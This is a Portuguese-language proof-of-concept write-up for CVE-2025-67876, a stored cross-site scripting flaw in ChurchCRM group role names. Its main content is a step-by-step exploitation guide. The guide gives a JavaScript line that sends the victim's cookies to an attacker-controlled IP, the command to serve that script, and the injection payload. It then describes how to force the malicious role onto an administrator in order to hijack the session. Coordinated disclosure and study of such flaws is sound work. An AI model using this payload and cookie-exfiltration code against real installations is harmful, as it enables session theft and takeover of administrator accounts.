
Prova de conceito detalhada da CVE-2025-67876 demonstrando XSS armazenado em nomes de funções de grupos no ChurchCRM, levando ao sequestro de sessão de administrador, com guia completo de exploração e recomendações de remediação.
| Campo | Detalhes |
|---|
| ID do CVE | CVE-2025-67876 |
| Gravidade | CRÍTICO |
| Comunicado | Ver Comunicado |
| Descoberto por | Lukasz Rybak |
Existe uma vulnerabilidade de cross-site scripting (XSS) armazenado no ChurchCRM que permite a um usuário com privilégios baixos e com a permissão “Gerenciar Grupos” injetar JavaScript persistente em nomes de funções de grupo. O payload é salvo no banco de dados e executado sempre que qualquer usuário (incluindo administradores) visualiza uma página que exiba essa função, como GroupView.php ou PersonView.php. Isso permite o sequestro total da sessão e a tomada de conta.
A causa raiz é a falta de validação de entrada e codificação de saída no tratamento dos nomes de funções de grupo.
Ao editar um grupo em GroupEditor.php, o usuário pode modificar os nomes das funções. A aplicação não sanitiza a entrada (por exemplo, sem strip_tags, htmlspecialchars ou validação no servidor). O valor é armazenado na tabela list_lst do banco de dados.
Posteriormente, o valor armazenado é injetado diretamente no HTML sem escape:
Um usuário com privilégios baixos (com Gerenciar Grupos) pode, portanto, elevar privilégios até administrador total ao injetar JavaScript em uma função e atribuir essa função a um administrador.
Crie o arquivo x.js na máquina controlada pelo atacante:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Sirva o arquivo:
python3 -m http.server 800
Faça login como um usuário com a permissão Gerenciar Grupos.
Navegue até: Grupos → Listar Grupos → selecione qualquer grupo → Configurações.
Na seção “Funções do Grupo”, edite uma função existente ou crie uma nova.
Insira o payload malicioso:
"><script src=//172.20.0.1:800/x.js></script>

Na lista de Funções do Grupo, clique em Padrão ao lado da função que contém o payload de XSS injetado.
Isso garante que a função maliciosa seja atribuída automaticamente a qualquer usuário adicionado ao grupo, aumentando a probabilidade de um administrador acionar o XSS ao visualizar seu perfil.
Clique em Excluir ao lado da função padrão anterior, normalmente “Membro”.
Remover a função padrão limpa força o sistema a usar a função injetada com XSS em todas as atribuições futuras, garantindo a execução quando a vítima visualizar qualquer página que exiba sua função atribuída.

Vá para a página de Visualização do Grupo.
Adicione qualquer usuário como membro do grupo (por exemplo, Church Admin).
Selecione a função maliciosa no menu suspenso.
Salve a atribuição.
Quando a vítima (administrador) visitar:
O perfil de usuário da vítima: PersonView.php
A página de visualização do grupo: GroupView.php
O JavaScript armazenado é executado imediatamente.
No servidor do atacante, as requisições recebidas aparecerão:


Isso confirma a tomada de conta bem-sucedida.
CWE-79: Neutralização incorreta de entrada durante a geração de páginas da web ('Cross-site Scripting')
Este CVE foi divulgado de forma responsável, seguindo as práticas de divulgação coordenada de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.